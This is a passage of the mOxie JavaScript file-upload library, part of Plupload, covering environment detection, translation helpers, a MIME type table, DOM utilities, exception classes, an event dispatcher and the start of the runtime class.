1119 return (caps.use_data_uri && bytes < 33000 || caps.use_data_uri_over32kb());
1120 },
1121
1122 use_fileinput: function() {
1123 if (navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)) {
1124 return false;
1125 }
1126
1127 var el = document.createElement('input');
1128 el.setAttribute('type', 'file');
1129 return !el.disabled;
1130 }
1131 };
1132
1133 return function(cap) {
1134 var args = [].slice.call(arguments);
1135 args.shift(); // shift of cap
1136 return Basic.typeOf(caps[cap]) === 'function' ? caps[cap].apply(this, args) : !!caps[cap];
1137 };
1138 }());
1139
1140
1141 var uaResult = new UAParser().getResult();
1142
1143
1144 var Env = {
1145 can: can,
1146
1147 uaParser: UAParser,
1148
1149 browser: uaResult.browser.name,
1150 version: uaResult.browser.version,
1151 os: uaResult.os.name, // everybody intuitively types it in a lowercase for some reason
1152 osVersion: uaResult.os.version,
1153
1154 verComp: version_compare,
1155
1156 global_event_dispatcher: "moxie.core.EventTarget.instance.dispatchEvent"
1157 };
1158
1159 // for backward compatibility
1160 // @deprecated Use `Env.os` instead
1161 Env.OS = Env.os;
1162
1163 if (MXI_DEBUG) {
1164 Env.debug = {
1165 runtime: true,
1166 events: false
1167 };
1168
1169 Env.log = function() {
1170
1171 function logObj(data) {
1172 // TODO: this should recursively print out the object in a pretty way
1173 console.appendChild(document.createTextNode(data + "\n"));
1174 }
1175
1176 var data = arguments[0];
1177
1178 if (Basic.typeOf(data) === 'string') {
1179 data = Basic.sprintf.apply(this, arguments);
1180 }
1181
1182 if (window && window.console && window.console.log) {
1183 window.console.log(data);
1184 } else if (document) {
1185 var console = document.getElementById('moxie-console');
1186 if (!console) {
1187 console = document.createElement('pre');
1188 console.id = 'moxie-console';
1189 //console.style.display = 'none';
1190 document.body.appendChild(console);
1191 }
1192
1193 if (Basic.inArray(Basic.typeOf(data), ['object', 'array']) !== -1) {
1194 logObj(data);
1195 } else {
1196 console.appendChild(document.createTextNode(data + "\n"));
1197 }
1198 }
1199 };
1200 }
1201
1202 return Env;
1203});
1204
1205// Included from: src/javascript/core/I18n.js
1206
1207/**
1208 * I18n.js
1209 *
1210 * Copyright 2013, Moxiecode Systems AB
1211 * Released under GPL License.
1212 *
1213 * License: http://www.plupload.com/license
1214 * Contributing: http://www.plupload.com/contributing
1215 */
1216
1217define("moxie/core/I18n", [
1218 "moxie/core/utils/Basic"
1219], function(Basic) {
1220 var i18n = {};
1221
1222 return {
1223 /**
1224 * Extends the language pack object with new items.
1225 *
1226 * @param {Object} pack Language pack items to add.
1227 * @return {Object} Extended language pack object.
1228 */
1229 addI18n: function(pack) {
1230 return Basic.extend(i18n, pack);
1231 },
1232
1233 /**
1234 * Translates the specified string by checking for the english string in the language pack lookup.
1235 *
1236 * @param {String} str String to look for.
1237 * @return {String} Translated string or the input string if it wasn't found.
1238 */
1239 translate: function(str) {
1240 return i18n[str] || str;
1241 },
1242
1243 /**
1244 * Shortcut for translate function
1245 *
1246 * @param {String} str String to look for.
1247 * @return {String} Translated string or the input string if it wasn't found.
1248 */
1249 _: function(str) {
1250 return this.translate(str);
1251 },
1252
1253 /**
1254 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
1255 *
1256 * @param {String} str String with tokens
1257 * @return {String} String with replaced tokens
1258 */
1259 sprintf: function(str) {
1260 var args = [].slice.call(arguments, 1);
1261
1262 return str.replace(/%[a-z]/g, function() {
1263 var value = args.shift();
1264 return Basic.typeOf(value) !== 'undefined' ? value : '';
1265 });
1266 }
1267 };
1268});
1269
1270// Included from: src/javascript/core/utils/Mime.js
1271
1272/**
1273 * Mime.js
1274 *
1275 * Copyright 2013, Moxiecode Systems AB
1276 * Released under GPL License.
1277 *
1278 * License: http://www.plupload.com/license
1279 * Contributing: http://www.plupload.com/contributing
1280 */
1281
1282define("moxie/core/utils/Mime", [
1283 "moxie/core/utils/Basic",
1284 "moxie/core/I18n"
1285], function(Basic, I18n) {
1286
1287 var mimeData = "" +
1288 "application/msword,doc dot," +
1289 "application/pdf,pdf," +
1290 "application/pgp-signature,pgp," +
1291 "application/postscript,ps ai eps," +
1292 "application/rtf,rtf," +
1293 "application/vnd.ms-excel,xls xlb," +
1294 "application/vnd.ms-powerpoint,ppt pps pot," +
1295 "application/zip,zip," +
1296 "application/x-shockwave-flash,swf swfl," +
1297 "application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx," +
1298 "application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx," +
1299 "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx," +
1300 "application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx," +
1301 "application/vnd.openxmlformats-officedocument.presentationml.template,potx," +
1302 "application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx," +
1303 "application/x-javascript,js," +
1304 "application/json,json," +
1305 "audio/mpeg,mp3 mpga mpega mp2," +
1306 "audio/x-wav,wav," +
1307 "audio/x-m4a,m4a," +
1308 "audio/ogg,oga ogg," +
1309 "audio/aiff,aiff aif," +
1310 "audio/flac,flac," +
1311 "audio/aac,aac," +
1312 "audio/ac3,ac3," +
1313 "audio/x-ms-wma,wma," +
1314 "image/bmp,bmp," +
1315 "image/gif,gif," +
1316 "image/jpeg,jpg jpeg jpe," +
1317 "image/photoshop,psd," +
1318 "image/png,png," +
1319 "image/svg+xml,svg svgz," +
1320 "image/tiff,tiff tif," +
1321 "text/plain,asc txt text diff log," +
1322 "text/html,htm html xhtml," +
1323 "text/css,css," +
1324 "text/csv,csv," +
1325 "text/rtf,rtf," +
1326 "video/mpeg,mpeg mpg mpe m2v," +
1327 "video/quicktime,qt mov," +
1328 "video/mp4,mp4," +
1329 "video/x-m4v,m4v," +
1330 "video/x-flv,flv," +
1331 "video/x-ms-wmv,wmv," +
1332 "video/avi,avi," +
1333 "video/webm,webm," +
1334 "video/3gpp,3gpp 3gp," +
1335 "video/3gpp2,3g2," +
1336 "video/vnd.rn-realvideo,rv," +
1337 "video/ogg,ogv," +
1338 "video/x-matroska,mkv," +
1339 "application/vnd.oasis.opendocument.formula-template,otf," +
1340 "application/octet-stream,exe";
1341
1342
1343 var Mime = {
1344
1345 mimes: {},
1346
1347 extensions: {},
1348
1349 // Parses the default mime types string into a mimes and extensions lookup maps
1350 addMimeType: function (mimeData) {
1351 var items = mimeData.split(/,/), i, ii, ext;
1352
1353 for (i = 0; i < items.length; i += 2) {
1354 ext = items[i + 1].split(/ /);
1355
1356 // extension to mime lookup
1357 for (ii = 0; ii < ext.length; ii++) {
1358 this.mimes[ext[ii]] = items[i];
1359 }
1360 // mime to extension lookup
1361 this.extensions[items[i]] = ext;
1362 }
1363 },
1364
1365
1366 extList2mimes: function (filters, addMissingExtensions) {
1367 var self = this, ext, i, ii, type, mimes = [];
1368
1369 // convert extensions to mime types list
1370 for (i = 0; i < filters.length; i++) {
1371 ext = filters[i].extensions.split(/\s*,\s*/);
1372
1373 for (ii = 0; ii < ext.length; ii++) {
1374
1375 // if there's an asterisk in the list, then accept attribute is not required
1376 if (ext[ii] === '*') {
1377 return [];
1378 }
1379
1380 type = self.mimes[ext[ii]];
1381 if (type && Basic.inArray(type, mimes) === -1) {
1382 mimes.push(type);
1383 }
1384
1385 // future browsers should filter by extension, finally
1386 if (addMissingExtensions && /^\w+$/.test(ext[ii])) {
1387 mimes.push('.' + ext[ii]);
1388 } else if (!type) {
1389 // if we have no type in our map, then accept all
1390 return [];
1391 }
1392 }
1393 }
1394 return mimes;
1395 },
1396
1397
1398 mimes2exts: function(mimes) {
1399 var self = this, exts = [];
1400
1401 Basic.each(mimes, function(mime) {
1402 if (mime === '*') {
1403 exts = [];
1404 return false;
1405 }
1406
1407 // check if this thing looks like mime type
1408 var m = mime.match(/^(\w+)\/(\*|\w+)$/);
1409 if (m) {
1410 if (m[2] === '*') {
1411 // wildcard mime type detected
1412 Basic.each(self.extensions, function(arr, mime) {
1413 if ((new RegExp('^' + m[1] + '/')).test(mime)) {
1414 [].push.apply(exts, self.extensions[mime]);
1415 }
1416 });
1417 } else if (self.extensions[mime]) {
1418 [].push.apply(exts, self.extensions[mime]);
1419 }
1420 }
1421 });
1422 return exts;
1423 },
1424
1425
1426 mimes2extList: function(mimes) {
1427 var accept = [], exts = [];
1428
1429 if (Basic.typeOf(mimes) === 'string') {
1430 mimes = Basic.trim(mimes).split(/\s*,\s*/);
1431 }
1432
1433 exts = this.mimes2exts(mimes);
1434
1435 accept.push({
1436 title: I18n.translate('Files'),
1437 extensions: exts.length ? exts.join(',') : '*'
1438 });
1439
1440 // save original mimes string
1441 accept.mimes = mimes;
1442
1443 return accept;
1444 },
1445
1446
1447 getFileExtension: function(fileName) {
1448 var matches = fileName && fileName.match(/\.([^.]+)$/);
1449 if (matches) {
1450 return matches[1].toLowerCase();
1451 }
1452 return '';
1453 },
1454
1455 getFileMime: function(fileName) {
1456 return this.mimes[this.getFileExtension(fileName)] || '';
1457 }
1458 };
1459
1460 Mime.addMimeType(mimeData);
1461
1462 return Mime;
1463});
1464
1465// Included from: src/javascript/core/utils/Dom.js
1466
1467/**
1468 * Dom.js
1469 *
1470 * Copyright 2013, Moxiecode Systems AB
1471 * Released under GPL License.
1472 *
1473 * License: http://www.plupload.com/license
1474 * Contributing: http://www.plupload.com/contributing
1475 */
1476
1477define('moxie/core/utils/Dom', ['moxie/core/utils/Env'], function(Env) {
1478
1479 /**
1480 Get DOM Element by it's id.
1481
1482 @method get
1483 @for Utils
1484 @param {String} id Identifier of the DOM Element
1485 @return {DOMElement}
1486 */
1487 var get = function(id) {
1488 if (typeof id !== 'string') {
1489 return id;
1490 }
1491 return document.getElementById(id);
1492 };
1493
1494 /**
1495 Checks if specified DOM element has specified class.
1496
1497 @method hasClass
1498 @static
1499 @param {Object} obj DOM element like object to add handler to.
1500 @param {String} name Class name
1501 */
1502 var hasClass = function(obj, name) {
1503 if (!obj.className) {
1504 return false;
1505 }
1506
1507 var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
1508 return regExp.test(obj.className);
1509 };
1510
1511 /**
1512 Adds specified className to specified DOM element.
1513
1514 @method addClass
1515 @static
1516 @param {Object} obj DOM element like object to add handler to.
1517 @param {String} name Class name
1518 */
1519 var addClass = function(obj, name) {
1520 if (!hasClass(obj, name)) {
1521 obj.className = !obj.className ? name : obj.className.replace(/\s+$/, '') + ' ' + name;
1522 }
1523 };
1524
1525 /**
1526 Removes specified className from specified DOM element.
1527
1528 @method removeClass
1529 @static
1530 @param {Object} obj DOM element like object to add handler to.
1531 @param {String} name Class name
1532 */
1533 var removeClass = function(obj, name) {
1534 if (obj.className) {
1535 var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
1536 obj.className = obj.className.replace(regExp, function($0, $1, $2) {
1537 return $1 === ' ' && $2 === ' ' ? ' ' : '';
1538 });
1539 }
1540 };
1541
1542 /**
1543 Returns a given computed style of a DOM element.
1544
1545 @method getStyle
1546 @static
1547 @param {Object} obj DOM element like object.
1548 @param {String} name Style you want to get from the DOM element
1549 */
1550 var getStyle = function(obj, name) {
1551 if (obj.currentStyle) {
1552 return obj.currentStyle[name];
1553 } else if (window.getComputedStyle) {
1554 return window.getComputedStyle(obj, null)[name];
1555 }
1556 };
1557
1558
1559 /**
1560 Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.
1561
1562 @method getPos
1563 @static
1564 @param {Element} node HTML element or element id to get x, y position from.
1565 @param {Element} root Optional root element to stop calculations at.
1566 @return {object} Absolute position of the specified element object with x, y fields.
1567 */
1568 var getPos = function(node, root) {
1569 var x = 0, y = 0, parent, doc = document, nodeRect, rootRect;
1570
1571 node = node;
1572 root = root || doc.body;
1573
1574 // Returns the x, y cordinate for an element on IE 6 and IE 7
1575 function getIEPos(node) {
1576 var bodyElm, rect, x = 0, y = 0;
1577
1578 if (node) {
1579 rect = node.getBoundingClientRect();
1580 bodyElm = doc.compatMode === "CSS1Compat" ? doc.documentElement : doc.body;
1581 x = rect.left + bodyElm.scrollLeft;
1582 y = rect.top + bodyElm.scrollTop;
1583 }
1584
1585 return {
1586 x : x,
1587 y : y
1588 };
1589 }
1590
1591 // Use getBoundingClientRect on IE 6 and IE 7 but not on IE 8 in standards mode
1592 if (node && node.getBoundingClientRect && Env.browser === 'IE' && (!doc.documentMode || doc.documentMode < 8)) {
1593 nodeRect = getIEPos(node);
1594 rootRect = getIEPos(root);
1595
1596 return {
1597 x : nodeRect.x - rootRect.x,
1598 y : nodeRect.y - rootRect.y
1599 };
1600 }
1601
1602 parent = node;
1603 while (parent && parent != root && parent.nodeType) {
1604 x += parent.offsetLeft || 0;
1605 y += parent.offsetTop || 0;
1606 parent = parent.offsetParent;
1607 }
1608
1609 parent = node.parentNode;
1610 while (parent && parent != root && parent.nodeType) {
1611 x -= parent.scrollLeft || 0;
1612 y -= parent.scrollTop || 0;
1613 parent = parent.parentNode;
1614 }
1615
1616 return {
1617 x : x,
1618 y : y
1619 };
1620 };
1621
1622 /**
1623 Returns the size of the specified node in pixels.
1624
1625 @method getSize
1626 @static
1627 @param {Node} node Node to get the size of.
1628 @return {Object} Object with a w and h property.
1629 */
1630 var getSize = function(node) {
1631 return {
1632 w : node.offsetWidth || node.clientWidth,
1633 h : node.offsetHeight || node.clientHeight
1634 };
1635 };
1636
1637 return {
1638 get: get,
1639 hasClass: hasClass,
1640 addClass: addClass,
1641 removeClass: removeClass,
1642 getStyle: getStyle,
1643 getPos: getPos,
1644 getSize: getSize
1645 };
1646});
1647
1648// Included from: src/javascript/core/Exceptions.js
1649
1650/**
1651 * Exceptions.js
1652 *
1653 * Copyright 2013, Moxiecode Systems AB
1654 * Released under GPL License.
1655 *
1656 * License: http://www.plupload.com/license
1657 * Contributing: http://www.plupload.com/contributing
1658 */
1659
1660define('moxie/core/Exceptions', [
1661 'moxie/core/utils/Basic'
1662], function(Basic) {
1663 function _findKey(obj, value) {
1664 var key;
1665 for (key in obj) {
1666 if (obj[key] === value) {
1667 return key;
1668 }
1669 }
1670 return null;
1671 }
1672
1673 return {
1674 RuntimeError: (function() {
1675 var namecodes = {
1676 NOT_INIT_ERR: 1,
1677 NOT_SUPPORTED_ERR: 9,
1678 JS_ERR: 4
1679 };
1680
1681 function RuntimeError(code) {
1682 this.code = code;
1683 this.name = _findKey(namecodes, code);
1684 this.message = this.name + ": RuntimeError " + this.code;
1685 }
1686
1687 Basic.extend(RuntimeError, namecodes);
1688 RuntimeError.prototype = Error.prototype;
1689 return RuntimeError;
1690 }()),
1691
1692 OperationNotAllowedException: (function() {
1693
1694 function OperationNotAllowedException(code) {
1695 this.code = code;
1696 this.name = 'OperationNotAllowedException';
1697 }
1698
1699 Basic.extend(OperationNotAllowedException, {
1700 NOT_ALLOWED_ERR: 1
1701 });
1702
1703 OperationNotAllowedException.prototype = Error.prototype;
1704
1705 return OperationNotAllowedException;
1706 }()),
1707
1708 ImageError: (function() {
1709 var namecodes = {
1710 WRONG_FORMAT: 1,
1711 MAX_RESOLUTION_ERR: 2,
1712 INVALID_META_ERR: 3
1713 };
1714
1715 function ImageError(code) {
1716 this.code = code;
1717 this.name = _findKey(namecodes, code);
1718 this.message = this.name + ": ImageError " + this.code;
1719 }
1720
1721 Basic.extend(ImageError, namecodes);
1722 ImageError.prototype = Error.prototype;
1723
1724 return ImageError;
1725 }()),
1726
1727 FileException: (function() {
1728 var namecodes = {
1729 NOT_FOUND_ERR: 1,
1730 SECURITY_ERR: 2,
1731 ABORT_ERR: 3,
1732 NOT_READABLE_ERR: 4,
1733 ENCODING_ERR: 5,
1734 NO_MODIFICATION_ALLOWED_ERR: 6,
1735 INVALID_STATE_ERR: 7,
1736 SYNTAX_ERR: 8
1737 };
1738
1739 function FileException(code) {
1740 this.code = code;
1741 this.name = _findKey(namecodes, code);
1742 this.message = this.name + ": FileException " + this.code;
1743 }
1744
1745 Basic.extend(FileException, namecodes);
1746 FileException.prototype = Error.prototype;
1747 return FileException;
1748 }()),
1749
1750 DOMException: (function() {
1751 var namecodes = {
1752 INDEX_SIZE_ERR: 1,
1753 DOMSTRING_SIZE_ERR: 2,
1754 HIERARCHY_REQUEST_ERR: 3,
1755 WRONG_DOCUMENT_ERR: 4,
1756 INVALID_CHARACTER_ERR: 5,
1757 NO_DATA_ALLOWED_ERR: 6,
1758 NO_MODIFICATION_ALLOWED_ERR: 7,
1759 NOT_FOUND_ERR: 8,
1760 NOT_SUPPORTED_ERR: 9,
1761 INUSE_ATTRIBUTE_ERR: 10,
1762 INVALID_STATE_ERR: 11,
1763 SYNTAX_ERR: 12,
1764 INVALID_MODIFICATION_ERR: 13,
1765 NAMESPACE_ERR: 14,
1766 INVALID_ACCESS_ERR: 15,
1767 VALIDATION_ERR: 16,
1768 TYPE_MISMATCH_ERR: 17,
1769 SECURITY_ERR: 18,
1770 NETWORK_ERR: 19,
1771 ABORT_ERR: 20,
1772 URL_MISMATCH_ERR: 21,
1773 QUOTA_EXCEEDED_ERR: 22,
1774 TIMEOUT_ERR: 23,
1775 INVALID_NODE_TYPE_ERR: 24,
1776 DATA_CLONE_ERR: 25
1777 };
1778
1779 function DOMException(code) {
1780 this.code = code;
1781 this.name = _findKey(namecodes, code);
1782 this.message = this.name + ": DOMException " + this.code;
1783 }
1784
1785 Basic.extend(DOMException, namecodes);
1786 DOMException.prototype = Error.prototype;
1787 return DOMException;
1788 }()),
1789
1790 EventException: (function() {
1791 function EventException(code) {
1792 this.code = code;
1793 this.name = 'EventException';
1794 }
1795
1796 Basic.extend(EventException, {
1797 UNSPECIFIED_EVENT_TYPE_ERR: 0
1798 });
1799
1800 EventException.prototype = Error.prototype;
1801
1802 return EventException;
1803 }())
1804 };
1805});
1806
1807// Included from: src/javascript/core/EventTarget.js
1808
1809/**
1810 * EventTarget.js
1811 *
1812 * Copyright 2013, Moxiecode Systems AB
1813 * Released under GPL License.
1814 *
1815 * License: http://www.plupload.com/license
1816 * Contributing: http://www.plupload.com/contributing
1817 */
1818
1819define('moxie/core/EventTarget', [
1820 'moxie/core/utils/Env',
1821 'moxie/core/Exceptions',
1822 'moxie/core/utils/Basic'
1823], function(Env, x, Basic) {
1824 /**
1825 Parent object for all event dispatching components and objects
1826
1827 @class EventTarget
1828 @constructor EventTarget
1829 */
1830 function EventTarget() {
1831 // hash of event listeners by object uid
1832 var eventpool = {};
1833
1834 Basic.extend(this, {
1835
1836 /**
1837 Unique id of the event dispatcher, usually overriden by children
1838
1839 @property uid
1840 @type String
1841 */
1842 uid: null,
1843
1844 /**
1845 Can be called from within a child in order to acquire uniqie id in automated manner
1846
1847 @method init
1848 */
1849 init: function() {
1850 if (!this.uid) {
1851 this.uid = Basic.guid('uid_');
1852 }
1853 },
1854
1855 /**
1856 Register a handler to a specific event dispatched by the object
1857
1858 @method addEventListener
1859 @param {String} type Type or basically a name of the event to subscribe to
1860 @param {Function} fn Callback function that will be called when event happens
1861 @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
1862 @param {Object} [scope=this] A scope to invoke event handler in
1863 */
1864 addEventListener: function(type, fn, priority, scope) {
1865 var self = this, list;
1866
1867 // without uid no event handlers can be added, so make sure we got one
1868 if (!this.hasOwnProperty('uid')) {
1869 this.uid = Basic.guid('uid_');
1870 }
1871
1872 type = Basic.trim(type);
1873
1874 if (/\s/.test(type)) {
1875 // multiple event types were passed for one handler
1876 Basic.each(type.split(/\s+/), function(type) {
1877 self.addEventListener(type, fn, priority, scope);
1878 });
1879 return;
1880 }
1881
1882 type = type.toLowerCase();
1883 priority = parseInt(priority, 10) || 0;
1884
1885 list = eventpool[this.uid] && eventpool[this.uid][type] || [];
1886 list.push({fn : fn, priority : priority, scope : scope || this});
1887
1888 if (!eventpool[this.uid]) {
1889 eventpool[this.uid] = {};
1890 }
1891 eventpool[this.uid][type] = list;
1892 },
1893
1894 /**
1895 Check if any handlers were registered to the specified event
1896
1897 @method hasEventListener
1898 @param {String} type Type or basically a name of the event to check
1899 @return {Mixed} Returns a handler if it was found and false, if - not
1900 */
1901 hasEventListener: function(type) {
1902 var list = type ? eventpool[this.uid] && eventpool[this.uid][type] : eventpool[this.uid];
1903 return list ? list : false;
1904 },
1905
1906 /**
1907 Unregister the handler from the event, or if former was not specified - unregister all handlers
1908
1909 @method removeEventListener
1910 @param {String} type Type or basically a name of the event
1911 @param {Function} [fn] Handler to unregister
1912 */
1913 removeEventListener: function(type, fn) {
1914 type = type.toLowerCase();
1915
1916 var list = eventpool[this.uid] && eventpool[this.uid][type], i;
1917
1918 if (list) {
1919 if (fn) {
1920 for (i = list.length - 1; i >= 0; i--) {
1921 if (list[i].fn === fn) {
1922 list.splice(i, 1);
1923 break;
1924 }
1925 }
1926 } else {
1927 list = [];
1928 }
1929
1930 // delete event list if it has become empty
1931 if (!list.length) {
1932 delete eventpool[this.uid][type];
1933
1934 // and object specific entry in a hash if it has no more listeners attached
1935 if (Basic.isEmptyObj(eventpool[this.uid])) {
1936 delete eventpool[this.uid];
1937 }
1938 }
1939 }
1940 },
1941
1942 /**
1943 Remove all event handlers from the object
1944
1945 @method removeAllEventListeners
1946 */
1947 removeAllEventListeners: function() {
1948 if (eventpool[this.uid]) {
1949 delete eventpool[this.uid];
1950 }
1951 },
1952
1953 /**
1954 Dispatch the event
1955
1956 @method dispatchEvent
1957 @param {String/Object} Type of event or event object to dispatch
1958 @param {Mixed} [...] Variable number of arguments to be passed to a handlers
1959 @return {Boolean} true by default and false if any handler returned false
1960 */
1961 dispatchEvent: function(type) {
1962 var uid, list, args, tmpEvt, evt = {}, result = true, undef;
1963
1964 if (Basic.typeOf(type) !== 'string') {
1965 // we can't use original object directly (because of Silverlight)
1966 tmpEvt = type;
1967
1968 if (Basic.typeOf(tmpEvt.type) === 'string') {
1969 type = tmpEvt.type;
1970
1971 if (tmpEvt.total !== undef && tmpEvt.loaded !== undef) { // progress event
1972 evt.total = tmpEvt.total;
1973 evt.loaded = tmpEvt.loaded;
1974 }
1975 evt.async = tmpEvt.async || false;
1976 } else {
1977 throw new x.EventException(x.EventException.UNSPECIFIED_EVENT_TYPE_ERR);
1978 }
1979 }
1980
1981 // check if event is meant to be dispatched on an object having specific uid
1982 if (type.indexOf('::') !== -1) {
1983 (function(arr) {
1984 uid = arr[0];
1985 type = arr[1];
1986 }(type.split('::')));
1987 } else {
1988 uid = this.uid;
1989 }
1990
1991 type = type.toLowerCase();
1992
1993 list = eventpool[uid] && eventpool[uid][type];
1994
1995 if (list) {
1996 // sort event list by prority
1997 list.sort(function(a, b) { return b.priority - a.priority; });
1998
1999 args = [].slice.call(arguments);
2000
2001 // first argument will be pseudo-event object
2002 args.shift();
2003 evt.type = type;
2004 args.unshift(evt);
2005
2006 if (MXI_DEBUG && Env.debug.events) {
2007 Env.log("Event '%s' fired on %u", evt.type, uid);
2008 }
2009
2010 // Dispatch event to all listeners
2011 var queue = [];
2012 Basic.each(list, function(handler) {
2013 // explicitly set the target, otherwise events fired from shims do not get it
2014 args[0].target = handler.scope;
2015 // if event is marked as async, detach the handler
2016 if (evt.async) {
2017 queue.push(function(cb) {
2018 setTimeout(function() {
2019 cb(handler.fn.apply(handler.scope, args) === false);
2020 }, 1);
2021 });
2022 } else {
2023 queue.push(function(cb) {
2024 cb(handler.fn.apply(handler.scope, args) === false); // if handler returns false stop propagation
2025 });
2026 }
2027 });
2028 if (queue.length) {
2029 Basic.inSeries(queue, function(err) {
2030 result = !err;
2031 });
2032 }
2033 }
2034 return result;
2035 },
2036
2037 /**
2038 Alias for addEventListener
2039
2040 @method bind
2041 @protected
2042 */
2043 bind: function() {
2044 this.addEventListener.apply(this, arguments);
2045 },
2046
2047 /**
2048 Alias for removeEventListener
2049
2050 @method unbind
2051 @protected
2052 */
2053 unbind: function() {
2054 this.removeEventListener.apply(this, arguments);
2055 },
2056
2057 /**
2058 Alias for removeAllEventListeners
2059
2060 @method unbindAll
2061 @protected
2062 */
2063 unbindAll: function() {
2064 this.removeAllEventListeners.apply(this, arguments);
2065 },
2066
2067 /**
2068 Alias for dispatchEvent
2069
2070 @method trigger
2071 @protected
2072 */
2073 trigger: function() {
2074 return this.dispatchEvent.apply(this, arguments);
2075 },
2076
2077
2078 /**
2079 Handle properties of on[event] type.
2080
2081 @method handleEventProps
2082 @private
2083 */
2084 handleEventProps: function(dispatches) {
2085 var self = this;
2086
2087 this.bind(dispatches.join(' '), function(e) {
2088 var prop = 'on' + e.type.toLowerCase();
2089 if (Basic.typeOf(this[prop]) === 'function') {
2090 this[prop].apply(this, arguments);
2091 }
2092 });
2093
2094 // object must have defined event properties, even if it doesn't make use of them
2095 Basic.each(dispatches, function(prop) {
2096 prop = 'on' + prop.toLowerCase(prop);
2097 if (Basic.typeOf(self[prop]) === 'undefined') {
2098 self[prop] = null;
2099 }
2100 });
2101 }
2102
2103 });
2104 }
2105
2106 EventTarget.instance = new EventTarget();
2107
2108 return EventTarget;
2109});
2110
2111// Included from: src/javascript/runtime/Runtime.js
2112
2113/**
2114 * Runtime.js
2115 *
2116 * Copyright 2013, Moxiecode Systems AB
2117 * Released under GPL License.
2118 *
2119 * License: http://www.plupload.com/license
2120 * Contributing: http://www.plupload.com/contributing
2121 */
2122
2123define('moxie/runtime/Runtime', [
2124 "moxie/core/utils/Env",
2125 "moxie/core/utils/Basic",
2126 "moxie/core/utils/Dom",
2127 "moxie/core/EventTarget"
2128], function(Env, Basic, Dom, EventTarget) {
2129 var runtimeConstructors = {}, runtimes = {};
2130
2131 /**
2132 Common set of methods and properties for every runtime instance
2133
2134 @class Runtime
2135
2136 @param {Object} options
2137 @param {String} type Sanitized name of the runtime
2138 @param {Object} [caps] Set of capabilities that differentiate specified runtime
2139 @param {Object} [modeCaps] Set of capabilities that do require specific operational mode
2140 @param {String} [preferredMode='browser'] Preferred operational mode to choose if no required capabilities were requested
2141 */
2142 function Runtime(options, type, caps, modeCaps, preferredMode) {
2143 /**
2144 Dispatched when runtime is initialized and ready.
2145 Results in RuntimeInit on a connected component.
2146
2147 @event Init
2148 */
2149
2150 /**
2151 Dispatched when runtime fails to initialize.
2152 Results in RuntimeError on a connected component.
2153
2154 @event Error
2155 */
2156
2157 var self = this
2158 , _shim
2159 , _uid = Basic.guid(type + '_')
2160 , defaultMode = preferredMode || 'browser'
2161 ;
2162
2163 options = options || {};
2164
2165 // register runtime in private hash
2166 runtimes[_uid] = this;
2167
2168 /**
2169 Default set of capabilities, which can be redifined later by specific runtime
2170
2171 @private
2172 @property caps
2173 @type Object
2174 */
2175 caps = Basic.extend({
2176 // Runtime can:
2177 // provide access to raw binary data of the file
2178 access_binary: false,
2179 // provide access to raw binary data of the image (image extension is optional)
2180 access_image_binary: false,
2181 // display binary data as thumbs for example
2182 display_media: false,
2183 // make cross-domain requests
2184 do_cors: false,
2185 // accept files dragged and dropped from the desktop
2186 drag_and_drop: false,
2187 // filter files in selection dialog by their extensions
2188 filter_by_extension: true,
2189 // resize image (and manipulate it raw data of any file in general)
2190 resize_image: false,
2191 // periodically report how many bytes of total in the file were uploaded (loaded)
2192 report_upload_progress: false,
2193 // provide access to the headers of http response
2194 return_response_headers: false,
2195 // support response of specific type, which should be passed as an argument
2196 // e.g. runtime.can('return_response_type', 'blob')
2197 return_response_type: false,
2198 // return http status code of the response
2199 return_status_code: true,
2200 // send custom http header with the request
2201 send_custom_headers: false,
2202 // pick up the files from a dialog
2203 select_file: false,
2204 // select whole folder in file browse dialog
2205 select_folder: false,
2206 // select multiple files at once in file browse dialog
2207 select_multiple: true,
2208 // send raw binary data, that is generated after image resizing or manipulation of other kind
2209 send_binary_string: false,
2210 // send cookies with http request and therefore retain session
2211 send_browser_cookies: true,
2212 // send data formatted as multipart/form-data
2213 send_multipart: true,
2214 // slice the file or blob to smaller parts
2215 slice_blob: false,
2216 // upload file without preloading it to memory, stream it out directly from disk
2217 stream_upload: false,
2218 // programmatically trigger file browse dialog
2219 summon_file_dialog: false,
2220 // upload file of specific size, size should be passed as argument
2221 // e.g. runtime.can('upload_filesize', '500mb')
2222 upload_filesize: true,
2223 // initiate http request with specific http method, method should be passed as argument
2224 // e.g. runtime.can('use_http_method', 'put')
2225 use_http_method: true
2226 }, caps);
2227
2228
2229 // default to the mode that is compatible with preferred caps
2230 if (options.preferred_caps) {
2231 defaultMode = Runtime.getMode(modeCaps, options.preferred_caps, defaultMode);
2232 }
2233
2234 if (MXI_DEBUG && Env.debug.runtime) {
2235 Env.log("\tdefault mode: %s", defaultMode);
2236 }
2237
2238 // small extension factory here (is meant to be extended with actual extensions constructors)
2239 _shim = (function() {
2240 var objpool = {};
2241 return {
2242 exec: function(uid, comp, fn, args) {
2243 if (_shim[comp]) {
2244 if (!objpool[uid]) {
2245 objpool[uid] = {
2246 context: this,
2247 instance: new _shim[comp]()
2248 };
2249 }
2250 if (objpool[uid].instance[fn]) {
2251 return objpool[uid].instance[fn].apply(this, args);
2252 }
2253 }
2254 },
2255
2256 removeInstance: function(uid) {
2257 delete objpool[uid];
2258 },
2259
2260 removeAllInstances: function() {
2261 var self = this;
2262 Basic.each(objpool, function(obj, uid) {
2263 if (Basic.typeOf(obj.instance.destroy) === 'function') {
2264 obj.instance.destroy.call(obj.context);
2265 }
2266 self.removeInstance(uid);
2267 });
2268 }
2269 };
2270 }());
2271
2272
2273 // public methods
2274 Basic.extend(this, {
2275 /**
2276 Specifies whether runtime instance was initialized or not
2277
2278 @property initialized
2279 @type {Boolean}
2280 @default false
2281 */
2282 initialized: false, // shims require this flag to stop initialization retries
2283
2284 /**
2285 Unique ID of the runtime
2286
2287 @property uid
2288 @type {String}
2289 */
